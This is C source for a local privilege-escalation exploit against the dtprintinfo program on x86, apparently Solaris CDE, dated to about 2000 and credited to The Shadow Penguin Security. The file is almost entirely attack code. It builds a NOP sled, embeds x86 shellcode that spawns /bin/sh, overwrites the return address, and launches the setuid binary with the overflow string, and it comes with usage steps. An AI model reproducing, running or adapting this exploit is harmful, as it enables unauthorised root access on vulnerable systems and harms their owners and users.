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- /*=============================================================================
- ex_dtprintinfo.c Overflow Exploits( for Intel x86 Edition)
- The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
- Written by UNYUN (unewn4th@usa.net)
- [usage]
- % setenv DISPLAY=yourdisplay:0.0
- % gcc ex_dtprintinfo.c (This example program)
- % a.out
- #
- =============================================================================
- */
-
-
- static char x[1000];
-
- #define ADJUST 0
- #define STARTADR 621
- #define BUFSIZE 900
- #define NOP 0x90
-
- unsigned long ret_adr;
- int i;
-
- char exploit_code[] =
- "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
- "\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
- "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
- "\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
- "\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"
- "\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"
- "\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"
- "\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"
- "\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"
- "\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/sh";
-
- unsigned long get_sp(void)
- {
- __asm__(" movl %esp,%eax ");
- }
-
- main()
- {
- putenv("LANG=");
- for (i=0;i<BUFSIZE;i++) x[i]=NOP;
-
- for (i=0;i<strlen(exploit_code);i++) x[STARTADR+i]=exploit_code[i];
- ret_adr=get_sp() - 1292 + 148;
-
- for (i = ADJUST; i < 400 ; i+=4)
- {
- x[i+0]=ret_adr & 0xff;
- x[i+1]=(ret_adr >> 8 ) &0xff;
- x[i+2]=(ret_adr >> 16 ) &0xff;
- x[i+3]=(ret_adr >> 24 ) &0xff;
- }
-
- x[BUFSIZE]=0;
- execl("/usr/dt/bin/dtprintinfo", "dtprintinfo", "-p",x,(char *) 0);
- }
- /* www.hack.co.za [2000]*/